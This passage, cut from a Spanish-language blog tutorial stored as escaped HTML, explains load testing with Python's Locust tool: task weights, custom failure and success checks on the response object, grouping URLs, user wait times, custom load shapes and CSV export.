&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_about&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/feed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_login&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;post(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/login&amp;#34;&lt;/span&gt;, {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;testuser&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;secret&amp;#34;&lt;/span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pero, ¿y si la petición falla? ¿Qué tal si queremos evaluar el efecto que cierta petición POST tenga en una ruta? Para eso podemos usar el objeto response.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-objeto-response-en-locust&#34;&gt;El objeto response en Locust&lt;/h2&gt;&#xA;&lt;p&gt;Cada petición que hagamos retornará un objeto &lt;em&gt;response&lt;/em&gt;, que cuenta con información del resultado de nuestra petición.&lt;/p&gt;&#xA;&lt;p&gt;Podemos envolver nuestra petición en un bloque &lt;em&gt;with&lt;/em&gt; de Python y asignarlo a un objeto &lt;em&gt;response&lt;/em&gt;. Este objeto tendrá múltiples propiedades, solo por nombrar algunas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cookies&lt;/li&gt;&#xA;&lt;li&gt;apparent_encoding&lt;/li&gt;&#xA;&lt;li&gt;status_code&lt;/li&gt;&#xA;&lt;li&gt;success&lt;/li&gt;&#xA;&lt;li&gt;text&lt;/li&gt;&#xA;&lt;li&gt;url&lt;/li&gt;&#xA;&lt;li&gt;content&lt;/li&gt;&#xA;&lt;li&gt;connection&lt;/li&gt;&#xA;&lt;li&gt;elapsed&lt;/li&gt;&#xA;&lt;li&gt;history&lt;/li&gt;&#xA;&lt;li&gt;request&lt;/li&gt;&#xA;&lt;li&gt;request_meta&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;monitoreo-de-errores&#34;&gt;Monitoreo de errores&lt;/h3&gt;&#xA;&lt;p&gt;Sabiendo lo anterior podemos obtener los diferentes datos relacionados con la petición y personalizar nuestro flujo de monitoreo. Observa:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_no_existe&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/ruta-inexistente&amp;#34;&lt;/span&gt;, catch_response&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; response:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;text &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Success&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;failure(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Respuesta equivocada&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;elif&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;400&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;failure(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esta ruta no debería devolver un status menor a 400 porque no existe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;elif&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;elapsed&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total_seconds() &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0.5&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;failure(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Respuesta demorada más de 0.5 segundos&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo anterior al intentar acceder a una ruta que no existe, la primera condicional se ejecutará y creará un fallo con el texto &amp;ldquo;Respuesta equivocada&amp;rdquo;, el cual podremos ver en la sección de fallos de la interfaz.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/ErrorPersonalizadoLocust.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/ErrorPersonalizadoLocust.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error personalizado&#34; width=&#34;1839&#34; height=&#34;223&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además de probar el texto en la respuesta es posible probar las otras propiedades del objeto response, tales como el código de respuesta o el tiempo que demora en devolver una respuesta.&lt;/p&gt;&#xA;&lt;h3 id=&#34;manejo-de-exitos&#34;&gt;Manejo de éxitos&lt;/h3&gt;&#xA;&lt;p&gt;También podemos llamar al método &lt;em&gt;success&lt;/em&gt; del objeto response para indicar una respuesta exitosa de acuerdo a cualquier comportamiento que nosotros querramos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_ruta_no_existe&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/ruta-inexistente&amp;#34;&lt;/span&gt;, catch_response&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; response:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;success()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;agrupar-multiples-urls-en-una-categoria&#34;&gt;Agrupar múltiples urls en una categoría&lt;/h2&gt;&#xA;&lt;p&gt;Locust nos muestra los resultados por ruta pero, ¿qué tal si queremos que múltiples rutas se evalúen en lote, como si fueran la misma? Ya sea porque esas rutas las maneje un mismo servidor o provengan de una misma función o cualquier otra razón.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_no_posts&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; post &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post-1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post-2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post-3&amp;#34;&lt;/span&gt;]:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/post/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(post), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/post/[slug]&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta función va a recorrer el array y hacer una petición a cada elemento de la lista y agrupará todas bajo el nombre &lt;em&gt;/post/[slug]&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;emular-el-comportamiento-de-los-usuarios-con-between&#34;&gt;Emular el comportamiento de los usuarios con between&lt;/h2&gt;&#xA;&lt;p&gt;Como ya sabes, el tráfico de los usuarios no es regular, a veces hay muchas solicitudes y a veces pocas. Un sistema tiene que ser capaz de manejar ambos casos.&lt;/p&gt;&#xA;&lt;p&gt;Para simular el comportamiento de los usuarios podemos establecer un tiempo de espera aleatorio a cada petición asignando la propiedad &lt;em&gt;wait_time&lt;/em&gt; y usando &lt;em&gt;between&lt;/em&gt; cada usuario esperará de 1 a 5 segundos antes de su siguiente petición.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;hello_world&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;curvas-de-comportamiento-de-usuario-personalizadas&#34;&gt;Curvas de comportamiento de usuario personalizadas&lt;/h2&gt;&#xA;&lt;p&gt;A veces necesitamos curvas más reales, por lo que necesitamos personalizar la cantidad de usuarios activos y la velocidad a la que estos se generan, para poder modificarla de acuerdo a lo que esperaríamos en una situación real para nuestro sitio web.&lt;/p&gt;&#xA;&lt;p&gt;Locust detectará cualquier clase que herede de &lt;em&gt;LoadTestShape&lt;/em&gt; en &lt;em&gt;locusfile.py&lt;/em&gt; automáticamente y usará su método &lt;em&gt;tick&lt;/em&gt; para retornar una tupla con la cantidad de usuarios y la velocidad de generación de estos, o None para detener la prueba. El método &lt;em&gt;run_time&lt;/em&gt;, que devuelve el tiempo que ha pasado, estará disponible para que lo usemos como querramos.&lt;/p&gt;&#xA;&lt;p&gt;tick se llamará cada segundo para obtener los usuarios, por lo que puedes jugar con el tiempo para generar el numero de usuarios y la velocidad de generación para crear la curva de usuarios que desees.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between, LoadTestShape&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;UsuariosAlAzar&lt;/span&gt;(LoadTestShape):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    time_limit &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Tiempo de duración de la prueba&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    spawn_rate &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;tick&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        run_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_run_time()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; run_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;time_limit:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            users &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;randint(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;50&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            spawn &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;randint(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;50&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (users, spawns)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Yo he dejado que los datos de retorno se generan al azar, pero tú puedes usar un comportamiento más complejo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exportar-los-datos-de-locust-en-csv&#34;&gt;Exportar los datos de locust en csv&lt;/h2&gt;&#xA;&lt;p&gt;En la interfaz web podemos exportar nuestros resultados en la pestaña &amp;ldquo;Download data&amp;rdquo; pero también podemos generarlos en la carpeta del proyecto directo desde la linea de comandos.&lt;/p&gt;&#xA;&lt;p&gt;Seleccionamos la opción &lt;em&gt;headless&lt;/em&gt; para que no cargue la interfaz web, &lt;em&gt;csv&lt;/em&gt; será el prefijo de los archivos csv y &lt;em&gt;host&lt;/em&gt; para la dirección del servidor a probar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locust &lt;span 